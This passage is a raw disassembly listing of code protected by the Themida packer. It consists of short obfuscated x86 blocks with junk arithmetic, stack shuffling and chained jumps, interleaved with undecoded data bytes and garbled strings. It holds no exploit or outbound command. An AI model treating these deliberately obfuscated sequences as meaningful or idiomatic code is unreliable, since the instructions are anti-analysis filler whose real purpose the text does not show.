; ---------------------------------------------------------------------------
loc_55E2AC: ; CODE XREF: Themida_:0056682Fj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_556B39
; ---------------------------------------------------------------------------
dw 34FFh
dd 7E31E924h, 0C281FFFFh, 6269E2A0h, 78FAE9h, 0C3B05000h
dd 9B89E9h
db 0
; ---------------------------------------------------------------------------
loc_55E2ED: ; CODE XREF: Themida_:00556DB0j
add dword ptr [esp+8], 3CF23D5Eh
add dword ptr [esp+8], 393622DCh
jmp loc_55B319
; ---------------------------------------------------------------------------
word_55E302 dw 53ADh ; DATA XREF: Themida_:005528E4o
dd 0C381E389h, 4, 0FF677BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E311: ; CODE XREF: Themida_:0056722Bj
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5634D2
; ---------------------------------------------------------------------------
dd 4BEh, 7C86E900h, 8166FFFFh, 665228EDh, 6603EDC1h, 6601ED83h
dd 0ADBE6656h, 0F5016609h, 24348B66h, 6802C483h, 4450h
dd 66240489h, 66559AB8h, 6658D368h, 66240489h, 66240487h
dd 7E28E950h, 0C7810000h, 4, 5C243C87h, 67F5B850h, 5CE90281h
db 8Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E37F: ; CODE XREF: Themida_:00559734j
add esp, 4
add ebx, ebp
pop ebp
push ebp
jmp loc_55FCBD
; ---------------------------------------------------------------------------
loc_55E38B: ; CODE XREF: Themida_:0055C2D8j
mov esi, 4
push edi
mov edi, 364B46DAh
not edi
shl edi, 6
shr edi, 8
push ebx
mov ebx, 68870000h
and edi, ebx
pop ebx
neg edi
xor edi, 8E9E3C60h
sub edx, edi
jmp loc_55586D
; ---------------------------------------------------------------------------
dw 4BAh
dd 0E9000000h, 156Fh, 81E68956h, 4C6h, 4EE8300h, 5C243487h
dd 0E9240489h, 0FFFFF8A1h, 245C015Fh, 241C8B04h, 0FF7058E9h
dd 4E5C1FFh, 8104EDC1h, 70584EF5h, 3BE9562Bh, 83000053h
dd 9DE904ECh
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E3FF: ; CODE XREF: Themida_:0055EECCj
add esi, 5A601C65h
jmp loc_563638
; ---------------------------------------------------------------------------
dw 0E7C1h
dd 81D7F704h, 0A4E6F3EFh, 2D17E9EBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E41A: ; CODE XREF: Themida_:0056390Bj
push ebx
mov ebx, 1D9B45Eh
sub esi, ebx
pop ebx
sub edi, 5FD010B4h
sub edi, esi
add edi, 5FD010B4h
mov esi, [esp]
add esp, 4
jmp loc_554CC7
; ---------------------------------------------------------------------------
db 1
dd 242C8BE8h, 3304C483h, 4312404h, 24043324h, 5624248Bh
dd 33C68h, 243C8900h, 0E0753168h, 2434FF5Fh, 0E689565Fh
dd 0CFB6E955h, 0C701FFFFh, 4B85058h, 0E9000000h, 0FFFF634Bh
; ---------------------------------------------------------------------------
loc_55E47C: ; CODE XREF: Themida_:0055C493j
mov [esp], ebp
mov ebp, 984208Bh
jmp loc_564D07
; ---------------------------------------------------------------------------
loc_55E489: ; CODE XREF: Themida_:00558941j
push edi
mov edi, 230F50B3h
jmp loc_557051
; ---------------------------------------------------------------------------
loc_55E494: ; CODE XREF: Themida_:00568022j
push dword ptr [esp]
pop edi
add esp, 4
mov esi, ebp
pop ebp
jmp loc_55940B
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FFD18EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E4B1: ; CODE XREF: Themida_:00553D86j
add ecx, 4
jmp loc_55EFDA
; ---------------------------------------------------------------------------
dd 0EAC1D2F7h, 4CF28102h, 893F3D1Ah, 0C9E95AD1h, 1FFFF96h
dd 5E042474h, 0E9241C29h, 3682h, 524D68h, 24248900h, 0FF7EC0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E4E9: ; CODE XREF: Themida_:005554B1j
push 34h
jmp loc_55F717
; ---------------------------------------------------------------------------
db 5Ch
dd 0FFB405E9h, 8BCA01FFh, 0C483240Ch, 24148704h, 944AE95Ch
dd 5959FFFFh, 64C5E9h, 243C8A00h, 0E904C483h, 0FFFF7CACh
dd 5C241C87h, 0BE243489h, 4B9A0B37h, 15EF001h, 5E955E8h
dd 0D1FFFFE5h, 0B6CE81E6h, 8332EB02h, 5DE901C6h
db 18h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E543: ; CODE XREF: Themida_:0055F6FFj
mov ecx, [esp]
jmp loc_5621DA
; ---------------------------------------------------------------------------
db 0F3h
dd 386203A5h, 436AE9h, 1BBB5300h, 52195236h, 52361FBAh
dd 5AD33119h, 6B50E981h, 0D90134D1h, 0FFAE2CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E571: ; CODE XREF: Themida_:0055D628j
not ebp
inc ebp
xor ebp, 1ABA2229h
jmp loc_55D733
; ---------------------------------------------------------------------------
aFw db 'FW©ф',0
dd 0FE29C0B6h, 0FB0E9h, 84E95C00h, 66000084h, 0E924048Bh
dd 55A6h, 3024248Bh, 0C0B60FC3h, 0E98734FFh, 0FFFF460Fh
dd 0BE685954h, 89000054h, 0E9522404h, 0FFFF5B8Eh
; ---------------------------------------------------------------------------
loc_55E5BC: ; CODE XREF: Themida_:0055FD0Cj
push eax
jmp loc_55E722
; ---------------------------------------------------------------------------
dw 0D8F7h
dd 0C4057B0Dh, 2E0C118h, 0A0CEE935h, 8BC101D5h, 0E9532404h
dd 4517h, 22DD68h, 24148900h, 0BF575A54h, 4, 0E95FFA01h
dd 3D2Ch, 442FBF5Dh, 0EF296EE5h, 8B58575Dh, 0C481243Ch
dd 4, 71FEA81h, 0C2017188h, 3D2DE9h
db 0
; ---------------------------------------------------------------------------
loc_55E615: ; CODE XREF: Themida_:0055D190j
sub edx, eax
add edx, 650F34E3h
sub esp, 4
mov [esp], ebp
mov ebp, 555D1E92h
push ebp
jmp loc_566585
; ---------------------------------------------------------------------------
loc_55E62E: ; CODE XREF: Themida_:00557CBAj
or eax, eax
jz loc_557C12
sub esp, 4
mov [esp], ebx
push ebp
push 461648C2h
pop ebp
push edx
jmp loc_5548F8
; ---------------------------------------------------------------------------
loc_55E649: ; CODE XREF: Themida_:005679EEj
add [esp+4], eax
add dword ptr [esp+4], 3A23A7Ch
jmp loc_554A19
; ---------------------------------------------------------------------------
dw 0F681h
dd 58461231h, 15EF001h, 6D722DD8h, 712D5B12h, 687B9305h
dd 0A8h, 0E9241C89h, 8300h
; ---------------------------------------------------------------------------
loc_55E67C: ; CODE XREF: Themida_:0056727Dj
add esp, 4
sub bl, 65h
jmp loc_55546E
; ---------------------------------------------------------------------------
dw 0E381h
dd 56236EB9h, 22C3814Bh, 0E91AFD61h, 0FFFFA45Dh, 0E95AD501h
dd 0FFFFF499h
; ---------------------------------------------------------------------------
loc_55E6A4: ; CODE XREF: Themida_:005534BFj
add esp, 4
add esp, 4
add ebp, 4
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
push edi
push esp
pop edi
add edi, 4
sub esp, 4
mov [esp], edx
push 2
jmp loc_563215
; ---------------------------------------------------------------------------
loc_55E6DF: ; CODE XREF: Themida_:0055B30Cj
sub edx, edi
pop edi
sub ebp, edx
pop edx
push ebx
mov ebx, 5CCE3315h
add ecx, ebx
jmp loc_5634B9
; ---------------------------------------------------------------------------
dw 0E981h
dd 68AD0FB1h, 0C181D901h, 68AD0FB1h, 240C335Bh, 1CC0E9h
dd 344F0500h, 0D02944E1h, 68D2E9h, 242C8900h, 4BDh, 7B6AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E722: ; CODE XREF: Themida_:0055E5BDj
mov ah, 0A7h
sub ah, 0Bh
and dl, ah
pop eax
sub esp, 2
mov [esp], bx
push ecx
jmp loc_554A45
; ---------------------------------------------------------------------------
dw 1431h
dd 5355E924h, 0BA52FFFFh, 67C0767Ah, 0E95AD721h, 4DDBh
; ---------------------------------------------------------------------------
loc_55E750: ; CODE XREF: Themida_:00560674j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add edi, esi
pop esi
jmp loc_560A60
; ---------------------------------------------------------------------------
db 0B4h, 1Ah, 80h
dd 0D4F68EF4h, 6E16866h, 24048966h, 12444FEh, 0EC835866h
dd 1D65E902h, 15A0000h, 215DE9E9h, 74FF0000h, 0BFE90424h
dd 81000096h, 9D6DD1EEh, 2EEC167h, 3BD5CE81h, 554E0F14h
dd 0FF7C9DE9h, 241C89FFh, 561F68h, 240C8900h, 0FF8475E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E7B5: ; CODE XREF: Themida_:0055D17Bj
push 0A8F5D0Eh
mov eax, [esp]
add esp, 4
jmp loc_566DF1
; ---------------------------------------------------------------------------
dd 48BC501h, 4C48324h, 2C581h, 0AFE90000h
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E7DB: ; CODE XREF: Themida_:00553EA0j
mov ebp, edx
jmp loc_55AFD4
; ---------------------------------------------------------------------------
loc_55E7E2: ; CODE XREF: Themida_:00561C79j
mov ebp, 1ABA222Eh
dec ebp
jmp loc_55D625
; ---------------------------------------------------------------------------
db 89h, 0E6h, 81h
dd 4C6h, 4C68300h, 5C243487h, 0FFBBE3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E801: ; CODE XREF: Themida_:0055D40Ej
add esp, 4
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF43ABh, 5D2414F7h, 5504E5C1h, 5D2414F7h, 0FCED8145h
dd 12056A6h, 51535DEEh, 0EB76D0B9h, 76D4BB11h, 0CB3111EBh
dd 6CFEE959h, 0C3810000h, 9FBF747Bh, 612EE9h, 8E9C100h
dd 4005F181h, 0CF010000h, 74FF5759h, 8F5F0424h, 885C2404h
dd 0FF01876Ch, 0E9592434h, 0FFFF8F05h, 915250BFh, 5FFB293Bh
dd 0BF57C301h, 3B915250h, 0E95FFB01h, 0FFFF4870h
; ---------------------------------------------------------------------------
loc_55E880: ; CODE XREF: Themida_:0055F42Ej
add eax, ebp
add eax, 1C3726BEh
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], edx
push 564Ah
mov [esp], esi
mov esi, esp
jmp loc_559EA0
; ---------------------------------------------------------------------------
dd 5533C281h, 0D789EA96h, 1E1DE9h, 242C8B00h, 4C481h, 48F0000h
dd 8B665C24h, 0F682404h, 8900004Fh, 0FF68242Ch, 89000020h
dd 0EC832424h, 241C8904h, 150CBF57h, 0BE5640F5h, 6BF937D4h
dd 7446E9h
db 0
; ---------------------------------------------------------------------------
loc_55E8E5: ; CODE XREF: Themida_:00558F48j
push dword ptr [esp]
push dword ptr [esp]
pop ebx
jmp loc_55F649
; ---------------------------------------------------------------------------
loc_55E8F1: ; CODE XREF: Themida_:0055A827j
mov esi, 4
push ecx
jmp loc_5530B9
; ---------------------------------------------------------------------------
loc_55E8FC: ; CODE XREF: Themida_:0055B814j
pop edx
sub esp, 4
mov [esp], edx
push 570Ch
mov [esp], esp
push 1490h
mov [esp], edi
sub esp, 4
jmp loc_56287E
; ---------------------------------------------------------------------------
db 0E9h, 95h, 42h
dd 3487FFFFh, 24248B24h, 400468h, 0BCC5E900h, 0F580FFFFh
dd 66EC309Eh, 0D0B65259h, 2DBCE9h, 24048700h, 0FF79F2E9h
dd 86DEF6FFh, 66C8FEF0h, 0E9B2B753h, 0FFFFA348h
; ---------------------------------------------------------------------------
loc_55E95C: ; CODE XREF: Themida_:00560557j
mov dx, [esp]
add esp, 2
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dw 0C361h
dword_55E970 dd 24048B66h, 20DA68h, 24048900h, 8BE95854h ; DATA XREF: Themida_:005528D8o
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E983: ; CODE XREF: Themida_:00564827j
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_553CB0
; ---------------------------------------------------------------------------
dw 45B9h
dd 0E919600Ch, 0FFFF6D4Ch, 5DE9E929h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E9AB: ; CODE XREF: Themida_:0055A56Fj
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 4
push esi
mov esi, 4
add ebp, esi
push dword ptr [esp]
pop esi
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_55D67B
; ---------------------------------------------------------------------------
loc_55E9EA: ; CODE XREF: Themida_:00554C9Dj
mov eax, 20476BDBh
add ebx, eax
jmp loc_56383F
; ---------------------------------------------------------------------------
loc_55E9F6: ; CODE XREF: Themida_:00559DEAj
add [esp+8], ebx
pop ebx
jmp loc_560B01
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 0C6815900h, 2E772954h, 13E9D601h, 81000087h
dd 0FF10BEF3h, 87C8E95Bh
db 2 dup(0FFh)
word_55EA22 dw 77FFh ; DATA XREF: Themida_:005529CCo
dd 58669D1Ch, 9C240410h, 0FF418AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EA31: ; CODE XREF: Themida_:00559BF8j
add edi, 78AE3011h
sub edi, 475A36F8h
sub edi, esi
jmp loc_560628
; ---------------------------------------------------------------------------
dword_55EA44 dd 4EC81ACh, 89000000h, 0A6B22414h, 0C007E2C0h, 6EE905EAh
; DATA XREF: Themida_:005528FCo
dd 1FFFF65h, 52505AD6h, 0F19ACBAh, 4538E934h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EA6A: ; CODE XREF: Themida_:0055B075j
xchg edi, [esp]
jmp loc_55C6BE
; ---------------------------------------------------------------------------
dw 0FA00h
dd 0FFD4B0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EA79: ; CODE XREF: Themida_:00561E47j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
add eax, esi
mov esi, [esp]
jmp loc_5605A3
; ---------------------------------------------------------------------------
dd 5FFA295Eh, 61AEE95Eh, 0B8500000h, 0FA268EBh, 0F706E0C1h
dd 3E8C1D8h, 0EF812735h, 0E9C70175h, 4A02h
; ---------------------------------------------------------------------------
loc_55EAB0: ; CODE XREF: Themida_:0055793Aj
and edx, 3AE365C2h
xchg ebp, edx
jmp loc_561422
; ---------------------------------------------------------------------------
loc_55EABD: ; CODE XREF: Themida_:00567AF4j
xchg edi, [esp]
jmp loc_5580E0
; ---------------------------------------------------------------------------
db 57h, 0BFh, 2
dd 0E9000000h, 0FFFF60DFh, 4C4835Dh, 1BAB68h, 240C8900h
dd 6E3868h, 3D4E900h, 0E3890000h, 4087BF57h, 0DFF72F53h
dd 0BF75EF81h, 0BBE9D0ACh
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EAFB: ; CODE XREF: Themida_:00566BC6j
mov [esp], ebx
jmp loc_559C62
; ---------------------------------------------------------------------------
db 29h
dd 33E951C3h, 52FFFF80h, 1D70E9h
db 0
; ---------------------------------------------------------------------------
loc_55EB11: ; CODE XREF: Themida_:005531F1j
pop esi
sub ebp, 4
jmp loc_5662F6
; ---------------------------------------------------------------------------
dw 3487h
dd 1F25E924h, 0C4810000h, 4, 0FFE620E9h, 0FFEB80FFh, 0F380D3F6h
dd 5BDE30A8h, 0FFEBCFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EB3D: ; CODE XREF: Themida_:00556E79j
and bh, 0F2h
add bh, 0E2h
add al, bh
pop ebx
jmp loc_5643FA
; ---------------------------------------------------------------------------
db 81h
dd 107954C3h, 3863E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EB56: ; CODE XREF: Themida_:0055DE50j
sub eax, esi
pop esi
push 4AD7h
jmp loc_55C34B
; ---------------------------------------------------------------------------
db 89h
dd 243C8BF8h, 4C481h, 0C5310000h, 5DE80158h, 2BD55h, 0E8010000h
dd 2404875Dh, 0FF58A6E9h, 243C87FFh, 95FCE95Ch, 0B7530000h
dd 3FCF80D2h, 0E903F780h, 6FF7h, 883DE435h, 0A923053Eh
dd 0C6896FCFh, 8324048Bh, 0EE8104C4h, 37A45ABBh, 4EC8346h
dd 68241489h, 0AD8h, 0BF243C89h, 6397ADFh, 4A00BA52h, 1D681E15h
dd 89000011h, 38E9242Ch, 0BEFFFFE8h, 4ADC177Dh, 5FDEF681h
dd 0CE81493Eh, 14E95B77h, 0FFF98EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EBF1: ; CODE XREF: Themida_:0055A74Aj
pop ebx
push ebp
jmp loc_556967
; ---------------------------------------------------------------------------
dd 5BDE0158h, 1F16E9h, 0CDE98100h, 0E9EE3B46h, 0FFFF8042h
dd 33240431h, 248B2404h, 4896624h, 59F3E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EC1E: ; CODE XREF: Themida_:0056301Fj
pop esp
jmp loc_55B062
; ---------------------------------------------------------------------------
dword_55EC24 dd 9D1C77FFh, 1CD35966h, 88E99C24h, 53FFFF3Fh, 9618E9h
; DATA XREF: Themida_:0055297Co
db 0
; ---------------------------------------------------------------------------
loc_55EC39: ; CODE XREF: Themida_:0055615Fj
pop edx
jmp loc_559432
; ---------------------------------------------------------------------------
loc_55EC3F: ; CODE XREF: Themida_:00555B1Aj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_553F3C
; ---------------------------------------------------------------------------
db 89h
dd 0D6295EF2h, 2434875Ah, 2424895Ch, 4240481h, 8B000000h
dd 0C4832434h, 4C68104h, 83000000h, 0FF5604C6h, 5E042474h
dd 0FFDE8EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EC79: ; CODE XREF: Themida_:005593D4j
push eax
mov eax, 2D674D3Eh
dec eax
sub eax, 9DA8B29Fh
jmp loc_55B653
; ---------------------------------------------------------------------------
dw 0BA52h
dd 183537C6h, 0FFBD05E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EC95: ; CODE XREF: Themida_:00564042j
sub al, cl
add al, 33h
jmp loc_55FBFB
; ---------------------------------------------------------------------------
dw 0C435h
dd 40305413h, 2502E0C1h, 3E5B58BAh, 7604880Dh, 33BF5725h
dd 0E97D731Ah, 23A8h
; ---------------------------------------------------------------------------
loc_55ECBC: ; CODE XREF: Themida_:005622EDj
add edx, ebp
sub edx, 1C3A4C97h
push ebx
mov ebx, 0B5F0BFAh
sub edx, ebx
pop ebx
jmp loc_555722
; ---------------------------------------------------------------------------
loc_55ECD2: ; CODE XREF: Themida_:0055978Fj
add ecx, edi
pop edi
not ecx
sub ecx, 898FC7ADh
add edx, ecx
mov ecx, [esp]
jmp loc_556864
; ---------------------------------------------------------------------------
loc_55ECE7: ; CODE XREF: Themida_:00559E4Fj
inc edi
add edi, 0F4ACB103h
or ebp, edi
pop edi
add ebp, 3D947E70h
shl ebp, 5
shl ebp, 5
sub ebp, 0C5DA92DBh
jmp loc_55F9A8
; ---------------------------------------------------------------------------
dd 4C181h, 0E9810000h, 4, 5C240C87h, 5E243C89h, 0FF8D49E9h
dd 4EC81FFh, 0E9000000h, 1CCAh, 0B850C329h, 76872999h
dd 1CE3C381h, 0C3014343h, 1CE3EB81h, 8B584343h, 0C4832404h
dd 68C32904h, 836h, 0E9240489h, 0FFFF9FF6h, 31241433h
dd 69E92414h, 56000012h, 611687BEh, 272EE93Bh, 0E9010000h
dd 83242C8Bh, 0C3304C4h, 240C3124h, 8B240C33h, 31662424h
dd 0E99C2404h, 0FFFF3E2Fh, 685EF329h, 698Eh, 68243C89h
dd 3E436B71h, 0ACFE9h, 24048B00h, 4C481h, 55530000h, 6B51C3BDh
dd 585FBB57h, 8143100Fh, 433DE3EBh, 75E38176h, 812F6050h
dd 2B41B2F3h, 0E9EB315Eh, 4AC3h, 0CE81DEF7h, 329620F9h
dd 4E9DEF7h, 83FFFF5Ah, 36E904ECh
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EDE7: ; CODE XREF: Themida_:00556C1Cj
add ebp, 4
sub esp, 4
jmp loc_561A4F
; ---------------------------------------------------------------------------
dd 40476856h, 348B0D48h, 4C48124h, 0D1000000h, 42F681EEh
dd 811A3777h, 0F30F3DEEh, 5EF28908h, 2313BF57h, 0CF8139DFh
dd 13D03244h, 0FF9E45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EE29: ; CODE XREF: Themida_:00557C3Bj
xor bh, 0CCh
xchg al, bh
dec al
xchg al, bh
xor bh, 0CDh
add al, bh
mov ebx, [esp]
add esp, 4
push dx
mov dh, al
push ebx
mov bl, cl
jmp loc_55CD00
; ---------------------------------------------------------------------------
loc_55EE4C: ; CODE XREF: Themida_:005538F6j
add dword ptr [esp], 4
pop edx
jmp loc_557E3A
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0E8h
dd 81423F02h, 7B12B9EBh, 81C3012Ah, 7B12B9C3h, 967AE92Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EE72: ; CODE XREF: Themida_:00563080j
sub edx, esi
pop esi
push ebp
mov ebp, 5CE03FC5h
jmp loc_566D10
; ---------------------------------------------------------------------------
loc_55EE80: ; CODE XREF: Themida_:0055F4EBj
mov eax, esp
jmp loc_561F9D
; ---------------------------------------------------------------------------
db 43h
dd 6B37F381h, 0EB816447h, 484819CCh, 0E905EBC1h, 0FFFF6785h
dd 6F89E957h, 0D1F60000h, 3084C180h, 240C8BCEh, 417FE9h
db 0
; ---------------------------------------------------------------------------
loc_55EEB1: ; CODE XREF: Themida_:005588CFj
movzx ax, byte ptr [eax]
jmp loc_55FC4B
; ---------------------------------------------------------------------------
dw 1C89h
dd 4BB24h, 0D9890000h, 0FF7B4DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EEC9: ; CODE XREF: Themida_:0055D61Bj
shl esi, 8
jmp loc_55E3FF
; ---------------------------------------------------------------------------
db 5Ch, 0C0h, 0E4h
dd 0FFC48005h, 0E918F480h, 0FFFFAEB8h, 0AAE9D388h, 83FFFF82h
dd 0FF042404h, 525D2434h, 25D2E9h, 2C48100h, 57000000h
dd 37B5E9h, 38E95C00h, 0F6FFFF8Ah, 68D7h, 3C280000h, 0F5FBE924h
db 2 dup(0FFh)
word_55EF16 dw 2868h ; DATA XREF: Themida_:00552B44o
dd 89000068h, 5A502414h, 8904EC83h, 4812414h, 0A25A7224h
dd 2434FF2Ah, 0E3895358h, 4C381h, 0C3830000h, 241C8704h
dd 0CFBA525Ch, 813AB621h, 510C9CF2h, 0FFEA812Fh, 0F7FFFFFFh
dd 74F2E9D2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EF5A: ; CODE XREF: Themida_:00562019j
sub [esp+4], edi
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push ecx
mov ecx, esp
push ebx
mov ebx, 460C793Fh
jmp loc_562B37
; ---------------------------------------------------------------------------
dd 0E904C383h, 487Bh, 0BA52h, 0DA010000h, 8B5A028Bh, 0C483241Ch
dd 0BE7E904h, 77040000h, 0F0005966h, 136868h, 771AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EFB6: ; CODE XREF: Themida_:00563F0Cj
and edx, 3F381946h
push 754Bh
mov [esp], ecx
mov ecx, 44244750h
xor ecx, 6BE20628h
and ecx, 6ECC4988h
jmp loc_559789
; ---------------------------------------------------------------------------
loc_55EFDA: ; CODE XREF: Themida_:0055E4B7j
sub esp, 4
mov [esp], ebx
jmp loc_56497D
; ---------------------------------------------------------------------------
loc_55EFE5: ; CODE XREF: Themida_:005634CDj
mov esi, 3BEB5148h
push edx
jmp loc_562F04
; ---------------------------------------------------------------------------
loc_55EFF0: ; CODE XREF: Themida_:00558E55j
push 0C8Dh
mov [esp], ecx
push ebp
push ebx
push ebp
mov ebp, 4E3330B7h
push ebp
xor dword ptr [esp], 50161E3h
pop ebx
jmp loc_554859
; ---------------------------------------------------------------------------
dw 0C2BAh
dd 890C487Fh, 0CD895AD1h, 83240C8Bh, 0EB8904C4h, 0EAE9535Dh
db 64h, 2 dup(0)
byte_55F027 db 50h ; DATA XREF: Themida_:00552B18o
dd 0FEBD55h, 0E8890000h, 0E9242C8Bh, 0FFFFEE1Dh, 54243C89h
dd 4C7815Fh, 56000000h, 0FF933BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F049: ; CODE XREF: Themida_:005605C7j
xchg ebx, [esp]
jmp loc_56172F
; ---------------------------------------------------------------------------
db 58h, 31h, 0DEh
dd 53241C8Bh, 0FF8DE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F05D: ; CODE XREF: Themida_:00565885j
inc edx
jmp loc_5581F9
; ---------------------------------------------------------------------------
loc_55F063: ; CODE XREF: Themida_:0055E065j
push 0A57h
mov [esp], ebp
jmp loc_565D8B
; ---------------------------------------------------------------------------
loc_55F070: ; CODE XREF: Themida_:0055C8A0j
add esp, 4
push ebx
sub esp, 4
mov [esp], esp
push 28CFh
mov [esp], eax
mov eax, 4
add [esp+4], eax
pop eax
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_566426
; ---------------------------------------------------------------------------
dw 0CE00h
dd 0FFA1FEE9h, 240C89FFh, 0BF57E189h, 518565FCh, 8107E7C1h
dd 4D0204C7h, 0E9F9013Dh, 0FFFFD732h, 0C6885B66h, 24048B66h
dd 5302C483h, 0E38098B3h, 0E9CBFEEEh, 0FFFFA5B5h, 0BB53DDF7h
dd 423A2340h, 815BDD31h, 3A67E6F5h, 6665E93Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F0EE: ; CODE XREF: Themida_:0055E1D1j
push 41CAh
mov [esp], eax
push ebx
jmp loc_5611A3
; ---------------------------------------------------------------------------
dd 8EFC15Bh, 0E3EEF81h, 0FFE91602h, 89FFFFF2h, 82BD242Ch
dd 0C1778514h, 8DE906EDh, 4BFFFFC8h, 25D8C381h, 0DE89FBB9h
dd 0FF5086E9h, 5DE801FFh, 2C0835Dh, 2474FF50h, 24048B04h
dd 8F04C483h, 248B2404h, 2886424h, 0FF8D7BE9h, 240481FFh
dd 4, 8CC0E9h
db 0
; ---------------------------------------------------------------------------
loc_55F155: ; CODE XREF: Themida_:00560D2Aj
push eax
jmp loc_55CCCA
; ---------------------------------------------------------------------------
loc_55F15B: ; CODE XREF: Themida_:00553556j
xor ebx, 60C79405h
add ecx, ebx
pop ebx
sub ecx, 4
xchg ecx, [esp]
jmp loc_554DCE
; ---------------------------------------------------------------------------
loc_55F172: ; CODE XREF: Themida_:00565C8Fj
mov [esp], ebx
jmp loc_5542EE
; ---------------------------------------------------------------------------
dw 0FE30h
dd 0C37FE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F182: ; CODE XREF: Themida_:0055BE53j
add esp, 4
sub esp, 4
mov [esp], ebx
mov bl, 29h
jmp loc_55C6B0
; ---------------------------------------------------------------------------
dd 0D0321FBEh, 0FBF577Dh, 0E92E7F7Eh, 0FFFF8C0Fh
; ---------------------------------------------------------------------------
loc_55F1A8: ; CODE XREF: Themida_:0055AE28j
mov ebp, edi
mov edi, [esp]
jmp loc_5622D8
; ---------------------------------------------------------------------------
dw 0B568h
dd 0E900007Ah, 8E3Bh
; ---------------------------------------------------------------------------
loc_55F1BC: ; CODE XREF: Themida_:00565EF9j
inc ebp
jmp loc_55569B
; ---------------------------------------------------------------------------
dw 566h
dd 56648C0h, 57660001h, 0A23ABF66h, 66F80166h, 0C531665Fh
dd 0BD665558h, 81661DF9h, 66E4A9C5h, 0A6E9E801h
db 7Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F1EB: ; CODE XREF: Themida_:0055FBC1j
pop edi
push edx
mov edx, 6F44296Fh
shr edx, 4
add edx, 1
sub edx, 17794FA6h
jmp loc_5594C4
; ---------------------------------------------------------------------------
db 31h
dd 240C87D1h, 0FF39AEE9h, 2C8966FFh, 79BD6624h, 8865E9DDh
dd 525A0000h, 36FCE9h, 2C8B5F00h, 8AE95124h, 89FFFF53h
dd 0BB53243Ch, 4C04480Dh, 0BA52D3F7h, 6DB457CFh, 17CDC281h
dd 0F2815939h, 94044E97h, 0A8E9D321h, 31000043h, 0C8215DE9h
dd 0FFD1A2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F259: ; CODE XREF: Themida_:00554854j
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 0D0h
mov [esp], eax
jmp loc_553B3A
; ---------------------------------------------------------------------------
db 4Bh, 0E9h, 0FFh
dd 1FFFF44h, 0FB015AD3h, 8904EC83h, 9EBF243Ch, 29116302h
dd 0BF575FFBh, 7EA117DCh, 8147DFF7h, 0B61026EFh, 65CF8176h
dd 0E9283F79h, 1663h, 0FF390EE9h, 92C181FFh, 8108205Fh
dd 207359C1h, 59CA011Fh, 5C241487h, 0EC83C80Fh, 243C8904h
dd 5610E9h, 5311B000h, 0CB864DB3h, 3001E980h, 0E9D930CBh
dd 0FFFFB876h, 0A2E9525Bh, 1FFFF54h, 98EF81D7h, 5A4A724Ah
dd 0FF445EE9h, 85BB53FFh, 0E941757Dh, 0FFFFE62Ch
; ---------------------------------------------------------------------------
loc_55F300: ; CODE XREF: Themida_:0055C6ABj
pop ebx
jmp loc_564CA6
; ---------------------------------------------------------------------------
aZsSSfb db '┤ИаА',7,'И■│',0
align 10h
